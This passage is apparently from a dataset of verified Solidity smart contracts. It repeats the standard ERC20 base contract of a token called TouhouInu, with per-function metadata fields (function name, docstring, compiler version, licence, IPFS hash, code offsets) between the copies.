* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
2991,
3165
]
} | 8,921 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | transferFrom | function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
3643,
4003
]
} | 8,922 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | increaseAllowance | function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
4408,
4631
]
} | 8,923 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | decreaseAllowance | function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
5130,
5404
]
} | 8,924 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
